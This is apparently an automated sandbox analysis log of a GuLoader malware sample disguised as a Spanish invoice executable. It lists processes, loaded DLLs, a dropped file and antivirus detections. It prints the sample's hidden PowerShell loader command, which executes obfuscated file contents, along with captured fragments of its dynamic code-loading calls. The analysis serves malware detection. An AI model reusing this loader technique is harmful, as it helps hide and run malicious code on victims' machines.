Source: factura solicitada..exe	Virustotal: Detection: 63%
Source: factura solicitada..exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\factura solicitada..exe

File read: C:\Users\user\Desktop\factura solicitada..exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\factura solicitada..exe "C:\Users\user\Desktop\factura solicitada..exe"
Source: C:\Users\user\Desktop\factura solicitada..exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\factura solicitada..exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\factura solicitada..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\factura solicitada..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: factura solicitada..exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000002.00000002.1666098266.0000000002EAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbH' source: powershell.exe, 00000002.00000002.1677760898.00000000086D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.1677760898.00000000086D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.1666098266.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.1677109512.000000000857B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb# source: powershell.exe, 00000002.00000002.1673164060.0000000007403000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000002.00000002.1666098266.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2548130895.0000000006223000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1679281555.000000000AFA3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Afklaringsprojekterne $Zealousness $Lentiginose), (Cayuses77 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Vegetists = [AppDomain]::CurrentDomain.GetAsse
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Chloromata)), $Hvirvelstrms).DefineDynamicModule($snydetampens, $false).DefineType($Unmagisterial, $Solskinsdagen, [System.MulticastDe

Suspicious powershell command line found

Source: C:\Users\user\Desktop\factura solicitada..exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) "
Source: C:\Users\user\Desktop\factura solicitada..exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) "			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04B3A4AA pushfd ; ret	2_2_04B3A4B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04B3E9F9 push eax; mov dword ptr [esp], edx	2_2_04B3EA0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0767B04D pushad ; retf	2_2_0767B058
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07670FC4 push es; iretd	2_2_07670FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0767AD12 push es; ret	2_2_0767AD22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0767ED9C pushad ; ret	2_2_0767ED9D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\factura solicitada..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
